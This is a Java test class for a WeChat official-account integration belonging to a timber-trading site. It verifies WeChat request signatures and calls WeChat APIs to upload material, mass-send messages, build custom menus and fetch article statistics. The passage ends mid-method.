package com.wechat;



import net.sf.json.JSONArray;
import net.sf.json.JSONObject;
import org.apache.commons.lang.ArrayUtils;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.HttpStatus;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.StringEntity;
import org.apache.http.entity.mime.MultipartEntity;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.InputStreamBody;
import org.apache.http.entity.mime.content.StringBody;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.Charset;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;

public class WeChatTest
{

	public class CrazyServlet extends HttpServlet
	{

		private static final long serialVersionUID = -5021188348833856475L;

		protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
		{
			// 微信加密签名
			String signature = request.getParameter("signature");
			// 时间戳
			String timestamp = request.getParameter("timestamp");
			// 随机数
			String nonce = request.getParameter("nonce");
			// 随机字符串
			String echostr = request.getParameter("echostr");
			PrintWriter out = response.getWriter();
			// 通过检验signature对请求进行校验，若校验成功则原样返回echostr，表示接入成功，否则接入失败
			if (SignUtil.checkSignature(signature, timestamp, nonce))
			{
				out.print(echostr);
			}
			out.close();
			out = null;
		}

		protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
		{
			// TODO 消息的接收、处理、响应
		}
	}

	public static class SignUtil
	{
		// 与接口配置信息中的Token要一致
		private static final String token = "eupwood";

		/**
		 * 验证签名
		 *
		 * @param signature
		 * @param timestamp
		 * @param nonce
		 * @return
		 */
		public static boolean checkSignature(String signature, String timestamp, String nonce)
		{
			String[] arr = new String[] { token, timestamp, nonce };
			// 将token、timestamp、nonce三个参数进行字典序排序
			Arrays.sort(arr);
			StringBuilder content = new StringBuilder();
			for (int i = 0; i < arr.length; i++)
			{
				content.append(arr[i]);
			}
			MessageDigest md = null;
			String tmpStr = null;

			try
			{
				md = MessageDigest.getInstance("SHA-1");
				// 将三个参数字符串拼接成一个字符串进行sha1加密
				byte[] digest = md.digest(content.toString().getBytes());
				tmpStr = byteToStr(digest);
			}
			catch (NoSuchAlgorithmException e)
			{
				e.printStackTrace();
			}

			content = null;
			// 将sha1加密后的字符串可与signature对比，标识该请求来源于微信
			return tmpStr != null ? tmpStr.equals(signature.toUpperCase()) : false;
		}

		/**
		 * 将字节数组转换为十六进制字符串
		 *
		 * @param byteArray
		 * @return
		 */
		private static String byteToStr(byte[] byteArray)
		{
			String strDigest = "";
			for (int i = 0; i < byteArray.length; i++)
			{
				strDigest += byteToHexStr(byteArray[i]);
			}
			return strDigest;
		}

		/**
		 * 将字节转换为十六进制字符串
		 *
		 * @param mByte
		 * @return
		 */
		private static String byteToHexStr(byte mByte)
		{
			char[] Digit = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
			char[] tempArr = new char[2];
			tempArr[0] = Digit[(mByte >>> 4) & 0X0F];
			tempArr[1] = Digit[mByte & 0X0F];

			String s = new String(tempArr);
			return s;
		}
	}

	// 上传图片到微信服务器，不会占用图片额度（群发用）
	public static void upload() throws Exception
	{
		// http:\/\/mmbiz.qpic.cn\/mmbiz\/TLY11GyiaQKPGmHkas27reibEiaUJb6Fv4iaesfWmuhjMdyib0utRzE6oWZ4VnPpicYZrDicKEZCdwLC3icPmRQ88fJqpA\/0
		//2016/04/20 16:19
		HttpClient httpClient = HttpClients.createDefault();
		HttpPost httpPost = new HttpPost("https://api.weixin.qq.com/cgi-bin/media/uploadimg?access_token=" + token);
		FileBody file = new FileBody(new File("H://logo.png"));

		MultipartEntity reqEntity = new MultipartEntity();
		reqEntity.addPart("file", file);

		httpPost.setEntity(reqEntity);

		HttpResponse response = httpClient.execute(httpPost);
		int result = response.getStatusLine().getStatusCode();
		if (result == HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity = response.getEntity();
			System.out.println(EntityUtils.toString(resEntity));
			System.out.println(reqEntity.getContent());
			EntityUtils.consume(resEntity);
		}

	}

	// 上传图文消息素材
		public static void upload_news() throws Exception
		{
			//图文media_id     type":"news"
			//rrHqy13H2EoyF3Oq8ZNPbGLTD6t-kPPlz4tNZl6iCSHGQctniK24N4Bv4F3GzVAg
			// 2016/4/20 16:21
			// 存放所有文章结合list的map
			HashMap allMap = new HashMap();

			// 存放所有文章的list
			List<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();

			// 各个文章的map
			HashMap<String, String> map;
			HashMap<String, String> map1;

			// 缩略图的id
			String thumb_media_id = "qQqbYn8mE_ZkajO3m2RCzZWUobzFSMbILv7KoY1lzyKEK_ypL1WcLFAXtcI6oVxp";

			String media_id = "J3lq8SfXAaO-MYX-F4moC6mz0N46M_CQSU8liFAjPsyLtt6FXVwTypX2A8bRi-hu";

			map = new HashMap<String, String>();
			map.put("thumb_media_id", media_id);
			map.put("author", "xiaojin");
			map.put("title", "上传群发测试");
			map.put("content_source_url", "www.eupwood.com");
			map.put("content", "这是测试内容1");
			map.put("digest", "测试用描述");
			map.put("show_cover_pic", "0");

			map1 = new HashMap<String, String>();
			map1.put("thumb_media_id", media_id);
			map1.put("author", "xiaojin");
			map1.put("title", "上传群发测试1");
			map1.put("content_source_url", "www.eupwood.com");
			map1.put("content", "<img src=\"http:\\/\\/mmbiz.qpic.cn\\/mmbiz\\/TLY11GyiaQKPGmHkas27reibEiaUJb6Fv4iaesfWmuhjMdyib0utRzE6oWZ4VnPpicYZrDicKEZCdwLC3icPmRQ88fJqpA\\/0\">");
			map1.put("digest", "测试用描述1");
			map1.put("show_cover_pic", "0");
			list.add(map);
			list.add(map1);
			allMap.put("articles", list);
			JSONArray postData = JSONArray.fromObject(allMap);
			//String msg="{\"articles\":[{\"thumb_media_id\":\"qQqbYn8mE_ZkajO3m2RCzZWUobzFSMbILv7KoY1lzyKEK_ypL1WcLFAXtcI6oVxp\",\"author\":\"xxx\",\"title\":\"Happy Day\",\"content_source_url\":\"www.qq.com\",\"content\":\"content\",\"digest\":\"digest\",\"show_cover_pic\":\"1\"}]}";
			System.out.println(postData.toString().substring(1, postData.toString().length()-1));
			HttpClient httpClient = HttpClients.createDefault();
			HttpPost httpPost = new HttpPost("https://api.weixin.qq.com/cgi-bin/media/uploadnews?access_token=" + token);
	/*		StringEntity se = new StringEntity(postData.toString());
			httpPost.setEntity(se);*/
			HttpEntity entity = new StringEntity(postData.toString().substring(1, postData.toString().length()-1),"UTF-8");
			httpPost.setEntity(entity);

			HttpResponse response = httpClient.execute(httpPost);
			int result = response.getStatusLine().getStatusCode();
			if (result == HttpStatus.SC_OK)
			{
				System.out.println("OK");
				HttpEntity resEntity = response.getEntity();
				System.out.println(EntityUtils.toString(resEntity));
				System.out.println(resEntity.getContent());
				EntityUtils.consume(resEntity);
			}

		}

		//根据分组群发消息
		public static void allSend()throws Exception
		{
			// 存放所有文章结合list的map
			HashMap allMap = new HashMap();

			// 各个文章的map
			HashMap map;
			HashMap<String, String> map1;
			HashMap<String, String> map2;

			//filter的map
			map = new HashMap();
			map.put("is_to_all", false);
			map.put("group_id", 100);
			//消息类型的map
			map1 = new HashMap<String, String>();
			map1.put("media_id", "Ailm1Ci4p3MFOXgnMZl6aRKjBNFlikTcfoKjmLlrl_RNgg52P79QaOUbDDmpJ1AI");

			allMap.put("msgtype", "mpnews");

			allMap.put("mpnews", map1);

			allMap.put("filter", map);

			JSONArray postData = JSONArray.fromObject(allMap);
			HttpClient httpClient = HttpClients.createDefault();
			HttpPost httpPost = new HttpPost("https://api.weixin.qq.com/cgi-bin/message/mass/sendall?access_token=" + token);
			//StringEntity se = new StringEntity(postData.toString());
			//httpPost.setEntity(se);
			//post数据
			String msg=postData.toString().substring(1,postData.toString().length()-1);
			System.out.println(msg);
			HttpEntity entity = new StringEntity(msg,"UTF-8");
			httpPost.setEntity(entity);

			HttpResponse response = httpClient.execute(httpPost);
			int result = response.getStatusLine().getStatusCode();
			if (result == HttpStatus.SC_OK)
			{
				System.out.println("OK");
				HttpEntity resEntity = response.getEntity();
				System.out.println(EntityUtils.toString(resEntity,"UTF-8"));
				System.out.println(resEntity.getContent());
				EntityUtils.consume(resEntity);
			}
		}

	// 上传素材到微信服务器（临时素材）
	public static void upload_linshi() throws Exception
	{
		// qQqbYn8mE_ZkajO3m2RCzZWUobzFSMbILv7KoY1lzyKEK_ypL1WcLFAXtcI6oVxp
		HttpClient httpClient = HttpClients.createDefault();

		HttpPost httpPost = new HttpPost("https://api.weixin.qq.com/cgi-bin/media/upload?access_token=" + token + "&type=image");
		FileBody file = new FileBody(new File("H://logo.png"));

		MultipartEntity reqEntity = new MultipartEntity();
		reqEntity.addPart("file", file);

		httpPost.setEntity(reqEntity);

		HttpResponse response = httpClient.execute(httpPost);
		int result = response.getStatusLine().getStatusCode();
		if (result == HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity = response.getEntity();
			System.out.println(EntityUtils.toString(resEntity));
			System.out.println(resEntity.getContent());
			EntityUtils.consume(resEntity);
		}

	}

	// 上传素材到微信服务器（永久素材）
	public static void upload_yongjiu() throws Exception
	{
		// qQqbYn8mE_ZkajO3m2RCzZWUobzFSMbILv7KoY1lzyKEK_ypL1WcLFAXtcI6oVxp
		HttpClient httpClient = HttpClients.createDefault();

		HttpPost httpPost = new HttpPost("https://api.weixin.qq.com/cgi-bin/material/add_material?access_token=" + token + "&type=thumb");
		FileBody file = new FileBody(new File("C://Users//xiao//Desktop//图片//ttsm.jpg"));

		MultipartEntity reqEntity = new MultipartEntity();
		reqEntity.addPart("media", file);

		httpPost.setEntity(reqEntity);

		HttpResponse response = httpClient.execute(httpPost);
		int result = response.getStatusLine().getStatusCode();
		if (result == HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity = response.getEntity();
			System.out.println(EntityUtils.toString(resEntity));
			System.out.println(resEntity.getContent());
			EntityUtils.consume(resEntity);
		}

	}

	//通过指定的media_id获取永久素材
	public static void getMedia() throws Exception
	{
		HttpClient httpClient = HttpClients.createDefault();
		String media_id="wK7adBG2COIDcMpZs-nqTqkyp2pzyM6p8rc5pNA1Xkc";
		HttpPost httpPost = new HttpPost("https://api.weixin.qq.com/cgi-bin/material/get_material?access_token=" + token );

		HashMap<String, String> map=new HashMap<String, String>();
		map.put("media_id",media_id);
		JSONObject json=JSONObject.fromObject(map);
		System.out.println(json);
		HttpEntity entity=new StringEntity(json.toString());
		httpPost.setEntity(entity);

		HttpResponse response = httpClient.execute(httpPost);
		int result = response.getStatusLine().getStatusCode();
		if (result == HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity = response.getEntity();
			String content=EntityUtils.toString(resEntity);
			System.out.println(new String(content.getBytes(),"UTF-8"));
			System.out.println(resEntity.getContent());
			EntityUtils.consume(resEntity);
		}

	}

	//获取素材列表
	public static void batchget_material() throws Exception
	{
		HttpClient httpClient = HttpClients.createDefault();

		HttpPost httpPost = new HttpPost("https://api.weixin.qq.com/cgi-bin/material/batchget_material?access_token=" + token);
		HashMap<String, String> map=new HashMap<String, String>();
		map.put("type","news");//素材的类型，图片（image）、视频（video）、语音 （voice）、图文（news）
		map.put("offset","0");//从全部素材的该偏移位置开始返回，0表示从第一个素材 返回
		map.put("count","1");//返回素材的数量，取值在1到20之间
		JSONObject json=JSONObject.fromObject(map);
		HttpEntity entity=new StringEntity(json.toString());
		httpPost.setEntity(entity);
		HttpResponse response = httpClient.execute(httpPost);
		int result = response.getStatusLine().getStatusCode();
		if (result == HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity = response.getEntity();
			String msg=EntityUtils.toString(resEntity,"UTF-8");
			System.out.println(msg);
			//System.out.println(resEntity.getContent());
			EntityUtils.consume(resEntity);
		}
	}

	public static void main(String args[]) throws Exception
	{
		getOpenId();
//		upload_news();//上传图文素材
//		upload_linshi();
		//upload();
		allSend();//根据分组群发消息
		//System.out.println(msg);
		//getMedia();//获取素材
		//batchget_material();//获取素材列表
		//groupCreate();//查询用户分组
		//createMenu();//创建自定义菜单  涛涛说木
		//getArticles();//获取图文统计总数据
		//getArticles_day();
		//createMenushangMuwang();//创建尚木网菜单
		//createMenuZhangshangMuwang();//创建张家港尚木网菜单
		//upload_yongjiu();
		//getOpenId();
		//getComponent_access_token();//获取第三方Component_access_token
		//get_pre_auth_code();//获取第三方预授权码
		//System.out.println();
		//String openid[]=getAllOpenId("",null);
		//upload("http://localhost:8080/", "E:\\CRM.DMP");
	}




	// 模拟微信端post过来的xml
	public static void postXml() throws Exception
	{
		StringBuilder sb = new StringBuilder();

		sb.append(" <xml>");
		sb.append(" <ToUserName><![CDATA[zjgeupwood]]></ToUserName>");// 开发者微信号
		sb.append(" <FromUserName><![CDATA[FromUser]]></FromUserName>");// 发送方帐号（一个OpenID）
		sb.append("<CreateTime>20160409</CreateTime>");// 消息创建时间 （整型）
		sb.append("<MsgType><![CDATA[event]]></MsgType>");// 消息类型，event
		sb.append("<Event><![CDATA[CLICK]]></Event>");// 事件类型，CLICK
		sb.append("<EventKey><![CDATA[EVENTKEY]]></EventKey>");// 事件KEY值，与自定义菜单接口中KEY值对应
		sb.append("  </xml>");

		URL url = new URL("http://wx.eupwood.com/jeewx/wechatController.do?wechat");
		URLConnection con = url.openConnection();
		con.setDoOutput(true);
		con.setRequestProperty("Pragma:", "no-cache");
		con.setRequestProperty("Cache-Control", "no-cache");
		con.setRequestProperty("Content-Type", "text/xml");

		OutputStreamWriter out = new OutputStreamWriter(con.getOutputStream());
		out.write(new String(sb.toString().getBytes("ISO-8859-1")));
		out.flush();
		out.close();
		BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream()));
		String line = "";
		for (line = br.readLine(); line != null; line = br.readLine())
		{
			System.out.println(line);
		}
	}
	//查询用户分组
	public static void groupCreate() throws Exception
	{
		HttpClient httpClient = HttpClients.createDefault();
		HttpPost httpPost = new HttpPost("https://api.weixin.qq.com/cgi-bin/groups/get?access_token="+token);
		HttpResponse response = httpClient.execute(httpPost);
		int result = response.getStatusLine().getStatusCode();
		if (result == HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity = response.getEntity();
			//设置返回数据的编码类型为UTF-8
			String msg=EntityUtils.toString(resEntity, "UTF-8");

			System.out.println(msg);
			//System.out.println(resEntity.getContent());
			EntityUtils.consume(resEntity);
		}
	}
	//自定义菜单创建
	public static void createMenu()throws Exception
	{
		//存放调用接口json数据的map
		HashMap<String,Object> jsonMap=new HashMap<String, Object>();

		List mapList=new ArrayList();
		List<HashMap<String, Object>> listData;
		//一级菜单map
		HashMap<String,Object> map;
		//二级菜单map
		HashMap<String,Object> sub_map;

		//一个一级菜单和下面的二级菜单
		listData=new ArrayList<HashMap<String,Object>>();
		sub_map=new HashMap<String, Object>();
		sub_map.put("type", "view");
		sub_map.put("name", "今日头条");
		sub_map.put("url", "http://toutiao.com/m6833849928/?tt_from=weixin&utm_source=weixin&utm_medium=toutiao_ios&utm_campaign=client_share&wxshare_count=1&from=singlemessage&isappinstalled=0");
		listData.add(sub_map);
		sub_map=new HashMap<String, Object>();
		sub_map.put("type", "view");
		sub_map.put("name", "热门精选");
		sub_map.put("url", "http://mp.weixin.qq.com/mp/homepage?__biz=MzAwMTg2Mjc5MQ==&hid=2&sn=e7b1d014dcd933851025c1cda2593b99#wechat_redirect");
		listData.add(sub_map);
        sub_map=new HashMap<String, Object>();
        sub_map.put("type", "view");
        sub_map.put("name", "我要找木");
        sub_map.put("url", "http://www.eupwood.com/mob/app/findWood.shtml");
        listData.add(sub_map);
        sub_map=new HashMap<String, Object>();
        sub_map.put("type", "media_id");
        sub_map.put("name", "木材百科");
        sub_map.put("media_id", "wK7adBG2COIDcMpZs-nqTia5ZjpBThUTvshc4LFkiJI");  //文本  wK7adBG2COIDcMpZs-nqTpdzMH5KTuUT7FlgNGFfdYo
        listData.add(sub_map);

        map=new HashMap<String, Object>();
        map.put("name", "识 • 木");
        map.put("sub_button", listData);
		mapList.add(map);

		jsonMap.put("button", mapList);


		//第二个一级菜单和二级菜单
        listData=new ArrayList<HashMap<String,Object>>();
        sub_map=new HashMap<String, Object>();
        sub_map.put("type", "view");
        sub_map.put("name", "爱木社区");
        sub_map.put("url", "http://buluo.qq.com/mobile/barindex.html?_bid=128&_wv=1027&bid=311150");
        listData.add(sub_map);
        sub_map=new HashMap<String, Object>();
        sub_map.put("type", "view");
        sub_map.put("name", "涛涛足迹");
        sub_map.put("url", "http://www.zjgwood.org/history!toPage.shtml");
        listData.add(sub_map);
        sub_map=new HashMap<String, Object>();
        sub_map.put("type", "view");
        sub_map.put("name", "荣誉之墙");
        sub_map.put("url", "http://www.zjgwood.org/honorWall!toPage.shtml");
        listData.add(sub_map);
        sub_map=new HashMap<String, Object>();
        sub_map.put("type", "view");
        sub_map.put("name", "视频合集");
        sub_map.put("url", "http://mp.weixin.qq.com/mp/homepage?__biz=MzAwMTg2Mjc5MQ==&hid=4&sn=0df96c837c0ddf41a364c5db4749fce8#wechat_redirect");  //文本
        listData.add(sub_map);
    	//wK7adBG2COIDcMpZs-nqTqOt8uf6y4pH4YHKYKZUnuY
    	//wK7adBG2COIDcMpZs-nqTjkcX35STmOVawxlY2noI9c  爱慕之路
        map=new HashMap<String, Object>();
        map.put("name", "爱 • 木");
        map.put("sub_button", listData);
		mapList.add(map);
        jsonMap.put("button", mapList);
        //第三个一级菜单和二级菜单
        listData=new ArrayList<HashMap<String,Object>>();
		sub_map=new HashMap<String, Object>();
/*		sub_map.put("type", "view");
		sub_map.put("name", "惜木商城");
		sub_map.put("url", "http://wx.zjgwood.org/app/index.php?i=12&c=entry&do=list&m=wdl_shopping");//
		listData.add(sub_map);*/
		sub_map.put("type", "media_id");
		sub_map.put("name", "惜木商城");
		sub_map.put("media_id", "wK7adBG2COIDcMpZs-nqTqkyp2pzyM6p8rc5pNA1Xkc");//
		listData.add(sub_map);
/*		sub_map.put("type", "view");
		sub_map.put("name", "幸运大转盘");
		sub_map.put("url", "https://open.weixin.qq.com/connect/oauth2/authorize?appid=wxac3c736465c8ea8e&redirect_uri=http://wx.eupwood.com/mob/app/bigLuckDraw!luckDrawNeedInfo.shtml&response_type=code&scope=snsapi_base&state=TTSM;201612200010732124#wechat_redirect");//
		listData.add(sub_map);*/
		sub_map=new HashMap<String, Object>();
		sub_map.put("type", "view");
		sub_map.put("name", "免费加盟");
		sub_map.put("url", "http://mp.weixin.qq.com/s?__biz=MzAwMTg2Mjc5MQ==&mid=402542059&idx=3&sn=72b3b3f22a9bf8e933ee4c9a5adc5eaf&scene=18#wechat_redirect");
		listData.add(sub_map);
		sub_map=new HashMap<String, Object>();
		sub_map.put("type", "view");
		sub_map.put("name", "文章投稿");
		sub_map.put("url", "http://mp.weixin.qq.com/s?__biz=MzAwMTg2Mjc5MQ==&mid=402542059&idx=2&sn=f985a2a323a8af7e9f1813da6a626442&scene=18#wechat_redirect");
		listData.add(sub_map);
		sub_map=new HashMap<String, Object>();
		sub_map.put("type", "media_id");
		sub_map.put("name", "关于涛涛");
		sub_map.put("media_id", "wK7adBG2COIDcMpZs-nqTiinZopcY9KNOGi9INoCzE0");  //文本
		listData.add(sub_map);

		map=new HashMap<String, Object>();
		map.put("name", "惜 • 木");
		//map.put("name", "幸运大转盘");
		map.put("sub_button", listData);
		mapList.add(map);
		jsonMap.put("button", mapList);

		String jsonData=JSONObject.fromObject(jsonMap).toString();
		System.out.println(jsonData);
		HttpClient httpClient=HttpClients.createDefault();
		HttpPost httpPost=new HttpPost("https://api.weixin.qq.com/cgi-bin/menu/create?access_token="+token);

		HttpEntity httpEntity =new StringEntity(jsonData,"utf-8");
		httpPost.setEntity(httpEntity);
		HttpResponse response = httpClient.execute(httpPost);
		int result = response.getStatusLine().getStatusCode();
		if (result == HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity = response.getEntity();
			String msg=EntityUtils.toString(resEntity,"UTF-8");
			System.out.println(msg);
			//System.out.println(resEntity.getContent());
			EntityUtils.consume(resEntity);
		}


	}

	//自定义菜单创建------尚木网
		public static void createMenushangMuwang()throws Exception
		{
			//存放调用接口json数据的map
			HashMap<String,Object> jsonMap=new HashMap<String, Object>();

			List mapList=new ArrayList();
			List<HashMap<String, Object>> listData;
			//一级菜单map
			HashMap<String,Object> map;
			//二级菜单map
			HashMap<String,Object> sub_map;

			//一个一级菜单和下面的二级菜单
			listData=new ArrayList<HashMap<String,Object>>();
	        sub_map=new HashMap<String, Object>();
	        sub_map.put("type", "media_id");
	        sub_map.put("name", "木材百科");
	        sub_map.put("media_id", "O3Fh5Zl_AY7Vk_yiIShfXr-r6nfN7d4BrnqOaOzy2Cw");  //文本
	        listData.add(sub_map);
	        sub_map=new HashMap<String, Object>();
	        sub_map.put("type", "media_id");
	        sub_map.put("name", "船舶查询");
	        sub_map.put("media_id", "O3Fh5Zl_AY7Vk_yiIShfXpvtYfxKZfqom7EXJxkhyPM");  //文本
	        listData.add(sub_map);
	        map=new HashMap<String, Object>();
	        map.put("name", "微查询");
	        map.put("sub_button", listData);
			mapList.add(map);

			jsonMap.put("button", mapList);


			//第二个一级菜单和二级菜单
	        map=new HashMap<String, Object>();
	        map.put("name", "微社区");
	        map.put("type", "view");
	        map.put("url", "http://buluo.qq.com/mobile/barindex.html?_bid=128&_wv=1027&bid=311085");//链接
			mapList.add(map);
	        jsonMap.put("button", mapList);

	        //第三个一级菜单和二级菜单
	        listData=new ArrayList<HashMap<String,Object>>();
			sub_map=new HashMap<String, Object>();
			sub_map.put("type", "view");
			sub_map.put("name", "在线客服");
			sub_map.put("url", "http://www.sobot.com/chat/h5/index.html?sysNum=c7484ff5cedc448ab70a0e82ad01bcba&source=1");
			listData.add(sub_map);
			sub_map=new HashMap<String, Object>();
			sub_map.put("type", "view");
			sub_map.put("name", "关于我们");
			sub_map.put("url", "http://www.eupwood.com/weiXin/weiCenter/aboutUs.html");
			listData.add(sub_map);
			sub_map=new HashMap<String, Object>();
			sub_map.put("type", "view");
			sub_map.put("name", "联系我们");
			sub_map.put("url", "http://www.eupwood.com/weiXin/weiCenter/contactUs.html");
			listData.add(sub_map);
			sub_map=new HashMap<String, Object>();
			sub_map.put("type", "view");
			sub_map.put("name", "木材市场");
			sub_map.put("url", "http://www.eupwood.com/weiXin/weiCenter/market.html");  //文本
			listData.add(sub_map);

			map=new HashMap<String, Object>();
			map.put("name", "微中心");
			map.put("sub_button", listData);
			mapList.add(map);
			jsonMap.put("button", mapList);

			String jsonData=JSONObject.fromObject(jsonMap).toString();
			System.out.println(jsonData);
			HttpClient httpClient=HttpClients.createDefault();
			HttpPost httpPost=new HttpPost("https://api.weixin.qq.com/cgi-bin/menu/create?access_token="+token);

			HttpEntity httpEntity =new StringEntity(jsonData,"utf-8");
			httpPost.setEntity(httpEntity);
			HttpResponse response = httpClient.execute(httpPost);
			int result = response.getStatusLine().getStatusCode();
			if (result == HttpStatus.SC_OK)
			{
				System.out.println("OK");
				HttpEntity resEntity = response.getEntity();
				String msg=EntityUtils.toString(resEntity,"UTF-8");
				System.out.println(msg);
				//System.out.println(resEntity.getContent());
				EntityUtils.consume(resEntity);
			}


		}

		//自定义菜单创建------张家港尚木网
				public static void createMenuZhangshangMuwang()throws Exception
				{
					//存放调用接口json数据的map
					HashMap<String,Object> jsonMap=new HashMap<String, Object>();

					List mapList=new ArrayList();
					List<HashMap<String, Object>> listData;
					//一级菜单map
					HashMap<String,Object> map;
					//二级菜单map
					HashMap<String,Object> sub_map;

					//一个一级菜单和下面的二级菜单
					listData=new ArrayList<HashMap<String,Object>>();
			        sub_map=new HashMap<String, Object>();
			        sub_map.put("type", "view");
			        sub_map.put("name", "库存动态");
			      //sub_map.put("url", "http://www.eupwood.com/mob/app/woodFind!woodFindInventory.shtml");
			        sub_map.put("url", "http://www.eupwood.com/mob/app/woodFind!woodFindInventory.shtml");
			        listData.add(sub_map);
			        sub_map=new HashMap<String, Object>();
			        sub_map.put("type", "view");
			        sub_map.put("name", "出库动态	");
			        sub_map.put("url", "http://www.eupwood.com/mob/app/woodFind!woodFindOut.shtml");
			        listData.add(sub_map);
			        sub_map=new HashMap<String, Object>();
			        sub_map.put("type", "view");
			        sub_map.put("name", "计划到港");
			        sub_map.put("url", "http://www.eupwood.com/mob/app/woodFind!woodFindPlan.shtml");
			        listData.add(sub_map);
			        map=new HashMap<String, Object>();
			        map.put("name", "木查查");
			        map.put("sub_button", listData);
					mapList.add(map);

					jsonMap.put("button", mapList);


					//第二个一级菜单和二级菜单
					listData=new ArrayList<HashMap<String,Object>>();
			        sub_map=new HashMap<String, Object>();
			        sub_map.put("type", "view");
			        sub_map.put("name", "现货资源");
			        sub_map.put("url", "http://wx.eupwood.com/mob/app/woodSpotResource.shtml?account_code=ZJGSMW");  //文本
			        listData.add(sub_map);
			        sub_map=new HashMap<String, Object>();
			        sub_map.put("type", "view");
			        sub_map.put("name", "求购资源");
			        sub_map.put("url", "http://wx.eupwood.com/mob/app/woodBuyResource.shtml?account_code=ZJGSMW");  //文本
			        listData.add(sub_map);
			        sub_map=new HashMap<String, Object>();
			        sub_map.put("type", "view");
			        sub_map.put("name", "委托发布");
			        sub_map.put("url", "http://wx.eupwood.com/mob/app/woodEntrust.shtml?account_code=ZJGSMW");  //文本
			        listData.add(sub_map);
			        sub_map=new HashMap<String, Object>();
			        sub_map.put("type", "view");
			        sub_map.put("name", "绑定测试");
			        sub_map.put("url", "http://wx.eupwood.com/mob/app/woodEntrust.shtml?account_code=ZJGSMW");  //文本
			        listData.add(sub_map);
			        map=new HashMap<String, Object>();
			        map.put("name", "木淘淘");
			        map.put("sub_button", listData);
					mapList.add(map);

					jsonMap.put("button", mapList);

			        //第三个一级菜单和二级菜单
			        listData=new ArrayList<HashMap<String,Object>>();
					sub_map=new HashMap<String, Object>();
					sub_map.put("type", "view");
					sub_map.put("name", "我的服务");
					sub_map.put("url", "http://www.eupwood.com");
					listData.add(sub_map);
					sub_map=new HashMap<String, Object>();
					sub_map.put("type", "view");
					sub_map.put("name", "服务热线");
					sub_map.put("url", "http://www.eupwood.com");
					listData.add(sub_map);

					map=new HashMap<String, Object>();
					map.put("name", "木享享");
					map.put("sub_button", listData);
					mapList.add(map);
					jsonMap.put("button", mapList);

					String jsonData=JSONObject.fromObject(jsonMap).toString();
					System.out.println(jsonData);
					HttpClient httpClient=HttpClients.createDefault();
					HttpPost httpPost=new HttpPost("https://api.weixin.qq.com/cgi-bin/menu/create?access_token="+token);

					HttpEntity httpEntity =new StringEntity(jsonData,"utf-8");
					httpPost.setEntity(httpEntity);
					HttpResponse response = httpClient.execute(httpPost);
					int result = response.getStatusLine().getStatusCode();
					if (result == HttpStatus.SC_OK)
					{
						System.out.println("OK");
						HttpEntity resEntity = response.getEntity();
						String msg=EntityUtils.toString(resEntity,"UTF-8");
						System.out.println(msg);
						//System.out.println(resEntity.getContent());
						EntityUtils.consume(resEntity);
					}


				}
		//获取图文群发总数据
		public static void getArticles()throws Exception
		{
			//msg_id":402957812,"msg_data_id":2650204088}
			HttpClient client=HttpClients.createDefault();
			HttpPost post=new HttpPost("https://api.weixin.qq.com/datacube/getarticletotal?access_token="+token);
			HashMap<String, String> map=new HashMap<String, String>();
			map.put("begin_date", "2016-9-1");
			map.put("end_date", "2016-9-1");
			JSONObject json=JSONObject.fromObject(map);
			HttpEntity entity=new StringEntity(json.toString(),"UTF-8");
			post.setEntity(entity);

			HttpResponse response=client.execute(post);
			int code=response.getStatusLine().getStatusCode();
			if(code==HttpStatus.SC_OK)
			{
				System.out.println("OK");
				HttpEntity resEntity=response.getEntity();
				JSONObject data=JSONObject.fromObject(EntityUtils.toString(resEntity, "UTF-8"));
				System.out.println(data);
					JSONObject data1=JSONObject.fromObject(data.toString());
					JSONObject json1=data1.getJSONArray("list").getJSONObject(0).getJSONArray("details").getJSONObject(0);
					String msgid=data1.getJSONArray("list").getJSONObject(0).getString("msgid");
					String ori_page_read_user=json1.get("ori_page_read_user").toString();
					String ori_page_read_count=json1.get("ori_page_read_count").toString();
					String share_user=json1.get("share_user").toString();
					String share_count=json1.get("share_count").toString();
					String add_to_fav_user=json1.get("add_to_fav_user").toString();
					String add_to_fav_count=json1.get("add_to_fav_count").toString();
					String int_page_from_session_read_user=json1.get("int_page_from_session_read_user").toString();
					String int_page_from_session_read_count=json1.get("int_page_from_session_read_count").toString();
				//JSONArray jsonArray=data.getJSONArray("list").getJSONObject(0).getJSONArray("details");
				//String msg=jsonArray.getJSONObject(0).getString("stat_date");
				EntityUtils.consume(resEntity);
			}
		}

		//获取某一天图文群发数据
		public static void getArticles_day()throws Exception
		{
			//msg_id":402957812,"msg_data_id":2650204088}
			HttpClient client=HttpClients.createDefault();
			HttpPost post=new HttpPost("https://api.weixin.qq.com/datacube/getarticlesummary?access_token="+token);
			HashMap<String, String> map=new HashMap<String, String>();
			map.put("begin_date", "2016-9-7");
			map.put("end_date", "2016-9-7");
			JSONObject json=JSONObject.fromObject(map);
			HttpEntity entity=new StringEntity(json.toString(),"UTF-8");
			post.setEntity(entity);

			HttpResponse response=client.execute(post);
